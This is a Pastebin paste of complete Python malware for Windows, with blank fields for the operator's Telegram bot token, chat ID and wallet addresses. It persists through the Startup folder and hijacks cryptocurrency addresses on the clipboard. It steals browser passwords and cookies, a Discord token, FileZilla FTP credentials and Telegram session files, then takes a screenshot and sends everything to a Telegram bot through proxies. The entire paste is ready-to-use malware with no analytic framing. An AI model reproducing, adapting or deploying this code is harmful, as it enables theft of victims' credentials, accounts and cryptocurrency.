Guest User

Untitled

a guest
Jan 25th, 2019
522
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.98 KB | None | 0 0
  1. import win32clipboard
  2. import time
  3. import threading
  4. import requests
  5. import sqlite3
  6. import os
  7. import xml.etree.ElementTree as etree
  8. import base64
  9. import zipfile
  10. import shutil
  11. import sys
  12. import win32crypt
  13. from PIL import ImageGrab
  14.  
  15. #========|FOR EDITING|========#
  16. chat_id = ''
  17. bot_token = ''
  18.  
  19. btc = ''
  20. eth = ''
  21. ripple = ''
  22. btc_cash = ''
  23. litecoin = ''
  24. monero = ''
  25. #=============================#
  26.  
  27. text = ''
  28. is_first = True
  29.  
  30. if os.path.isfile(os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup' + '\ '[0] + os.path.basename(sys.argv[0])) is False:
  31. shutil.copy2(sys.argv[0], os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup')
  32. else:
  33. is_first = False
  34.  
  35. def clipper():
  36. while True:
  37. win32clipboard.OpenClipboard()
  38. if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
  39. clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
  40. if 25 <= len(clip_data) <= 34 and clip_data != btc and clip_data[0] == '1':
  41. win32clipboard.EmptyClipboard()
  42. win32clipboard.SetClipboardText(btc, win32clipboard.CF_UNICODETEXT)
  43. elif len(clip_data) == 42 and clip_data != eth and clip_data[0:2] == '0x':
  44. win32clipboard.EmptyClipboard()
  45. win32clipboard.SetClipboardText(eth, win32clipboard.CF_UNICODETEXT)
  46. elif 25 <= len(clip_data) <= 35 and clip_data != ripple and clip_data[0] == 'r':
  47. win32clipboard.EmptyClipboard()
  48. win32clipboard.SetClipboardText(ripple, win32clipboard.CF_UNICODETEXT)
  49. elif len(clip_data[len(clip_data)-42:len(clip_data)]) == 42 and clip_data != btc_cash and clip_data[len(clip_data)-42:len(clip_data)-41] == 'q':
  50. win32clipboard.EmptyClipboard()
  51. win32clipboard.SetClipboardText(clip_data[0:len(clip_data)-42] + btc_cash, win32clipboard.CF_UNICODETEXT)
  52. elif len(clip_data) == 34 and clip_data != litecoin and (clip_data[0] == 'L' or clip_data[0] == '3'):
  53. win32clipboard.EmptyClipboard()
  54. win32clipboard.SetClipboardText(litecoin, win32clipboard.CF_UNICODETEXT)
  55. elif 95 <= len(clip_data) <= 106 and clip_data != monero and clip_data[0] == '4':
  56. win32clipboard.EmptyClipboard()
  57. win32clipboard.SetClipboardText(monero, win32clipboard.CF_UNICODETEXT)
  58. win32clipboard.CloseClipboard()
  59. time.sleep(0.25)
  60.  
  61.  
  62. def discord_token():
  63. if os.path.isfile(os.getenv("APPDATA") + '/discord/Local Storage/https_discordapp.com_0.localstorage') is True:
  64. token = ''
  65. conn = sqlite3.connect(os.getenv("APPDATA") + "/discord/Local Storage/https_discordapp.com_0.localstorage")
  66. cursor = conn.cursor()
  67. for row in cursor.execute("SELECT key, value FROM ItemTable WHERE key='token'"):
  68. token = row[1].decode("utf-16")
  69. conn.close()
  70. if token != '':
  71. return token
  72. else:
  73. return 'Discord exists, but not logged in'
  74. else:
  75. return 'Not found'
  76.  
  77.  
  78. def filezilla():
  79. data = ''
  80. if os.path.isfile(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml') is True:
  81. root = etree.parse(os.getenv("APPDATA") + '\\FileZilla\\recentservers.xml').getroot()
  82.  
  83. for i in range(len(root[0])):
  84. host = root[0][i][0].text
  85. port = root[0][i][1].text
  86. user = root[0][i][4].text
  87. password = base64.b64decode(root[0][i][5].text).decode('utf-8')
  88. data += 'host: ' + host + '|port: ' + port + '|user: ' + user + '|pass: ' + password + '\n'
  89. return data
  90. else:
  91. return 'Not found'
  92.  
  93.  
  94. def telegram():
  95. if os.path.isdir(os.getenv("APPDATA") + '\\Telegram Desktop\\tdata') is True:
  96. zip = zipfile.ZipFile(os.getenv("APPDATA") + '\\Telegram Desktop\\t.zip', 'w')
  97. for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Telegram Desktop\\tdata'):
  98. for file in files:
  99. if file != 'working':
  100. zip.write(os.path.join(root, file))
  101. zip.close()
  102. return True
  103. else:
  104. return False
  105.  
  106.  
  107. def proxy():
  108. r = requests.get('https://getmeproxy.com/api/v1.0/api.php?key=demo&list=text&checked=1')
  109. proxies = r.text.split('<br>')
  110.  
  111. for proxy in proxies:
  112. proxies = {
  113. 'http': 'http://' + proxy,
  114. 'https': 'http://' + proxy,
  115. }
  116. try:
  117. r = requests.get('https://api.telegram.org', proxies = proxies, timeout=3)
  118. except:
  119. pass
  120. else:
  121. if r.status_code == 200:
  122. return proxy
  123.  
  124.  
  125. def Chrome():
  126. text = 'ChromeData:' + '\n'
  127. text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
  128. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
  129. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
  130. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
  131. cursor = conn.cursor()
  132. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  133. for result in cursor.fetchall():
  134. password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  135. login = result[1]
  136. url = result[0]
  137. if password != '':
  138. text += url + ' <-> ' + login + ' <-> ' + password + '\n'
  139.  
  140. text += '\n' + 'Cookies Chrome:' + '\n'
  141. text += 'URL <-> COOKIE <-> COOKIE NAME' + '\n'
  142. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies'):
  143. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
  144. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Cookies2')
  145. cursor = conn.cursor()
  146. cursor.execute("SELECT * from cookies")
  147. for result in cursor.fetchall():
  148. cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  149. name = result[2]
  150. url = result[1]
  151. text += url + ' <-> ' + str(cookie) + ' <-> ' + name + '\n'
  152. return text
  153.  
  154.  
  155. def Amigo():
  156. text = 'ChromeData2:' + '\n'
  157. text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
  158. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data'):
  159. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2')
  160. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Login Data2')
  161. cursor = conn.cursor()
  162. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  163. for result in cursor.fetchall():
  164. password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  165. login = result[1]
  166. url = result[0]
  167. if password != '':
  168. text += url + ' <-> ' + login + ' <-> ' + password + '\n'
  169.  
  170. text += '\n' + 'Cookies Chrome:' + '\n'
  171. text += 'URL | COOKIE | COOKIE NAME' + '\n'
  172. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies'):
  173. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2')
  174. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Amigo\\User Data\\Default\\Cookies2')
  175. cursor = conn.cursor()
  176. cursor.execute("SELECT * from cookies")
  177. for result in cursor.fetchall():
  178. cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  179. name = result[2]
  180. url = result[1]
  181. text += url + ' | ' + str(cookie) + ' | ' + name + '\n'
  182. return text
  183.  
  184.  
  185. def Opera():
  186. text = 'OperaPasswords:' + '\n'
  187. text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
  188. if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data'):
  189. shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
  190. conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Login Data2')
  191. cursor = conn.cursor()
  192. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  193. for result in cursor.fetchall():
  194. password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  195. login = result[1]
  196. url = result[0]
  197. if password != '':
  198. text += url + ' <-> ' + login + ' <-> ' + password + '\n'
  199.  
  200. text += '\n' + 'Cookies Opera:' + '\n'
  201. text += 'URL | COOKIE | COOKIE NAME' + '\n'
  202. if os.path.exists(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies'):
  203. shutil.copy2(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies', os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies2')
  204. conn = sqlite3.connect(os.getenv("APPDATA") + '\\Opera Software\\Opera Stable\\Cookies2')
  205. cursor = conn.cursor()
  206. cursor.execute("SELECT * from cookies")
  207. for result in cursor.fetchall():
  208. cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  209. name = result[2]
  210. url = result[1]
  211. text += url + ' <-> ' + str(cookie) + ' <-> ' + name + '\n'
  212. return text
  213.  
  214.  
  215. def Yandex():
  216. text = 'Cookies Yandex:' + '\n'
  217. text += 'URL | COOKIE | COOKIE NAME' + '\n'
  218. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies'):
  219. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
  220. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies2')
  221. cursor = conn.cursor()
  222. cursor.execute("SELECT * from cookies")
  223. for result in cursor.fetchall():
  224. cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  225. name = result[2]
  226. url = result[1]
  227. text += url + ' | ' + str(cookie) + ' | ' + name + '\n'
  228. return text
  229.  
  230.  
  231. def Firefox():
  232. text = ''
  233. text += '\n' + 'Cookies Firefox:' + '\n'
  234. text += 'URL | COOKIE | COOKIE NAME' + '\n'
  235. for root, dirs, files in os.walk(os.getenv("APPDATA") + '\\Mozilla\\Firefox\\Profiles'):
  236. for name in dirs:
  237. conn = sqlite3.connect(os.path.join(root, name)+'\\cookies.sqlite')
  238. cursor = conn.cursor()
  239. cursor.execute("SELECT baseDomain, value, name FROM moz_cookies")
  240. data = cursor.fetchall()
  241. for i in range(len(data)):
  242. url, cookie, name = data[i]
  243. text += url + ' | ' + str(cookie) + ' | ' + name + '\n'
  244. break
  245. return text
  246.  
  247. def chromium():
  248. text = 'Passwords Chromium:' + '\n'
  249. text += 'URL <-> LOGIN <-> PASSWORD' + '\n'
  250. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default'):
  251. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
  252. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Login Data2')
  253. cursor = conn.cursor()
  254. cursor.execute('SELECT action_url, username_value, password_value FROM logins')
  255. for result in cursor.fetchall():
  256. password = win32crypt.CryptUnprotectData(result[2])[1].decode()
  257. login = result[1]
  258. url = result[0]
  259. if password != '':
  260. text += url + ' <-> ' + login + ' <-> ' + password + '\n'
  261.  
  262. text += '\n' + 'Cookies Chromium:' + '\n'
  263. text += 'URL <-> COOKIE <-> COOKIE NAME' + '\n'
  264. if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies'):
  265. shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies', os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
  266. conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Chromium\\User Data\\Default\\Cookies2')
  267. cursor = conn.cursor()
  268. cursor.execute("SELECT * from cookies")
  269. for result in cursor.fetchall():
  270. cookie = win32crypt.CryptUnprotectData(result[12])[1].decode()
  271. name = result[2]
  272. url = result[1]
  273. text += url + ' <-> ' + str(cookie) + ' <-> ' + name + '\n'
  274. return text
  275.  
  276.  
  277. clipper = threading.Thread(target=clipper)
  278. clipper.start()
  279.  
  280. text += 'First Start: ' + str(is_first) + '\n'
  281.  
  282. r = requests.get('http://ip.42.pl/raw')
  283. text += 'Victim IP: ' + r.text + '\n'
  284.  
  285. text += 'Discord Token:' + '\n' + discord_token() + '\n' + '\n'
  286.  
  287. text += 'FTP: ' + '\n' + filezilla() + '\n'
  288.  
  289. proxy = proxy()
  290. proxies = {
  291. 'http': 'http://' + proxy,
  292. 'https': 'http://' + proxy,
  293. }
  294.  
  295. snapshot = ImageGrab.grab()
  296. snapshot.save(os.getenv("APPDATA") + '\\srcn.jpg')
  297.  
  298. success_send = False
  299. while success_send is False:
  300. try:
  301. files = {'photo': open(os.getenv("APPDATA") + '\\srcn.jpg', 'rb')}
  302. requests.post("https://api.telegram.org/bot" + bot_token + "/sendPhoto?chat_id=" + chat_id, files=files, proxies = proxies)
  303. except requests.exceptions:
  304. proxy = proxy()
  305. proxies = {
  306. 'http': 'http://' + proxy,
  307. 'https': 'http://' + proxy,
  308. }
  309. else:
  310. success_send = True
  311.  
  312. success_send = False
  313. while success_send is False:
  314. try:
  315. requests.get('https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + chat_id + '&text=' + text, proxies = proxies)
  316. except requests.exceptions:
  317. proxy = proxy()
  318. proxies = {
  319. 'http': 'http://' + proxy,
  320. 'https': 'http://' + proxy,
  321. }
  322. else:
  323. success_send = True
  324.  
  325. file = open(os.getenv("APPDATA") + '\\cops.txt', "w+")
  326. file.write(str(Chrome()) + '\n')
  327. file.write(str(Opera()) + '\n')
  328. file.write(str(Yandex()) + '\n')
  329. file.write(str(Amigo()) + '\n')
  330. file.write(str(chromium()) + '\n')
  331. file.write(str(Firefox()))
  332. file.close()
  333.  
  334.  
  335. success_send = False
  336. while success_send is False:
  337. try:
  338. files = {'document': open(os.getenv("APPDATA") + '\\cops.txt', 'rb')}
  339. requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files, proxies = proxies)
  340. except requests.exceptions:
  341. proxy = proxy()
  342. proxies = {
  343. 'http': 'http://' + proxy,
  344. 'https': 'http://' + proxy,
  345. }
  346. else:
  347. success_send = True
  348.  
  349. if telegram() is True:
  350. success_send = False
  351. while success_send is False:
  352. try:
  353. files = {'document': open(os.getenv("APPDATA") + '\\Telegram Desktop\\t.zip', 'rb')}
  354. requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id, files=files,
  355. proxies=proxies)
  356. except requests.exceptions:
  357. proxy = proxy()
  358. proxies = {
  359. 'http': 'http://' + proxy,
  360. 'https': 'http://' + proxy,
  361. }
  362. else:
  363. success_send = True
  364. else:
  365. success_send = False
  366. while success_send is False:
  367. try:
  368. requests.get(
  369. 'https://api.telegram.org/bot' + bot_token + '/sendMessage?chat_id=' + chat_id + '&text=Telegram not found',
  370. proxies=proxies)
  371. except requests.exceptions:
  372. proxy = proxy()
  373. proxies = {
  374. 'http': 'http://' + proxy,
  375. 'https': 'http://' + proxy,
  376. }
  377. else:
  378. success_send = True
Add Comment
Please, Sign In to add comment